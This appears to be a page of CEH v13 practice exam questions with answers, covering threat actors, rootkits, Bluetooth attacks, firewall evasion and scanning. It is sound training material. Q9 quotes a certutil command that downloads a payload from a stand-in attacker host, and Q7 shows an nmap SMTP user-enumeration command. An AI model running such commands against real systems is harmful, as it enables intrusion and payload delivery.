Practice for the CEH v13 (312-50) exam with 21 multiple-choice questions. Answer each question before the reveal, then review the explanation to understand the reasoning.
This is Part 5/7 in the CertPunch CEH v13 (312-50) practice exam series.
Topics covered: reconnaissance, vulnerability analysis, web security, malware concepts, cryptography, and defensive controls.
More practice: certpunch.com
Prefer hands-on? Take this round as an interactive practice test — answer every question, get instant feedback, and see your score: Start the Ethical Hacking v13 (312-50) practice test →
What you will practice
- A government agency trains a group of cybersecurity experts to carry out covert cyber missions against foreig…
- A logistics company recently found that some of its fleet vehicles equipped with smart locking systems were c…
- As a cybersecurity analyst at XYZ Corp., you're examining system logs and notice an array of activities that…
- A city's power management utilizes SCADA systems to oversee operations. Recently, the infrastructure has show…
- A cybersecurity team at a multinational company notices unusual network traffic on their Bluetooth devices. I…
- A cybersecurity analyst working for a multinational corporation is tasked with performing regular surveillanc…
Answers and explanations
Tap a question to expand the answer and the exam reasoning. Try to commit to your own pick first.
Q1. A government agency trains a group of cybersecurity experts to carry out covert cyber missions against foreign threats and gather intelligence without being detected. These experts work exclusively for national interests. What classificati…
Answer: D. State-sponsored hackers
State-sponsored hackers is the correct answer as they act directly for a government's national interests. Organized, gray hat, and hacktivists lack the official government backing described in the scenario.
Q2. A logistics company recently found that some of its fleet vehicles equipped with smart locking systems were compromised, leading to vehicle thefts. The cybersecurity team suspects that attackers captured unique signals emitted by the key f…
Answer: B. Monitor wireless signals for abnormal jamming or interference.
This is correct because signal jamming reveals key fob replay attacks. The trap is confusing digital security with physical measures.
Q3. As a cybersecurity analyst at XYZ Corp., you're examining system logs and notice an array of activities that suggest the presence of an elusive rootkit. Given the stealthy nature of rootkits, their detection and eradication are pivotal to…
Answer: B. Employ a systematic, multi-layered strategy, starting with the deployment of a specialized rootkit detection tool to verify the presence and type of rootkit, followed by an appropriately tailored removal procedure, specific to the identified rootkit.
This is correct because kernel rootkits need specialized detection and removal. The trap is overreacting with honeypots or full reinstallation.
Q4. A city's power management utilizes SCADA systems to oversee operations. Recently, the infrastructure has shown unexplained anomalies such as inconsistent sensor values and intermittent outages. Security experts suspect a side-channel attac…
Answer: C. Measure unusual fluctuations during device operations at the hardware level.
Side-channel attacks exploit physical characteristics like power fluctuations, requiring hardware-level monitoring to detect. Network latency or UI reviews might indicate other issues, but hardware-level analysis is the definitive method for confirming side-channel leakage.
Q5. A cybersecurity team at a multinational company notices unusual network traffic on their Bluetooth devices. It is suspected to be a Bluesnarfing attack, aimed at accessing unauthorized information from Bluetooth-enabled devices. Which of t…
Answer: A. Disable "Discoverable Mode" and activate "Non-discoverable Mode" on all Bluetooth devices.
Disabling discoverable mode prevents attackers from detecting Bluetooth devices, the first step in Bluesnarfing. Firmware updates and strong PINs are secondary defenses; encryption doesn't prevent discovery-based attacks.
Q6. A cybersecurity analyst working for a multinational corporation is tasked with performing regular surveillance of their competitors' digital presence to identify any changes that could indicate strategic shifts or potential threats. To sta…
Answer: B. Set up Google Alerts to receive email notifications whenever new web content includes their competitors' names or other key terms.
Google Alerts are the best choice for automated monitoring. VPNs don't track changes, hacking is unethical, and forum engagement is inefficient and risky.
Q7. During a black-box assessment, an attacker executes the Nmap command: nmap -p25 –script smtp-enum-users –script-args smtp-enum-users.methods={VRFY, EXPN, RCPT} <target IP>. The script successfully returns multiple valid usernames. What s…
Answer: D. SMTP user verification commands are exposed without restrictions.
Unrestricted user verification commands allow easy username enumeration. Disabling STARTTLS or allowing auth without credentials are different security issues.
Q8. As an IT technician in a small software development company, you are tasked with providing security against different kinds of cyber threats. You learn about various methods hackers might use to bypass your company's firewalls. Which of th…
Answer: A. Changing the source IP address of packets to appear as if the traffic is coming from a trusted source.
IP spoofing allows attackers to bypass firewall rules that rely on trusted source IP addresses. This is a classic firewall evasion technique that attackers frequently use to appear legitimate.
Q9. A red teamer uses 'Certutil.exe -urlcache -f http://attacker.com/payload.exe' to download a file. How does an EDR typically detect this Living-off-the-Land (LotL) activity?
Answer: C. By monitoring command-line arguments and unusual network connections from system binaries.
EDR detects LotL activities by monitoring suspicious command-line arguments from trusted system binaries and their corresponding unusual network connections.
Q10. Upon analyzing anomalies in your network's traffic, you discover traces of an insidious malware strain named "ShadowFlee." This malware operates without writing files to disk, harnessing system utilities and scripts like PowerShell to stea…
Answer: B. Restrict and monitor the execution of scripts and system tools, especially those invoked by unsanctioned processes.
Restricting and monitoring script execution counters fileless malware like ShadowFlee that exploits system tools. Option A is too broad; C and D don't directly address memory-based threats.
Q11. As a cybersecurity analyst working for a multinational corporation, you are tasked with the responsibility of conducting routine vulnerability scans. This time around, you decided to use a different strategy and opted to employ a FIN scan…
Answer: A. Consider the possibility of a firewall blocking the FIN packets and investigate further.
Firewalls often block FIN scans, so a lack of response requires investigation. Option C is incorrect because only RST/ACK indicates a closed port in this context.
More Ethical Hacking v13 (312-50) drills and other practice exams are on @CertPunch. New rounds drop every few days at certpunch.com.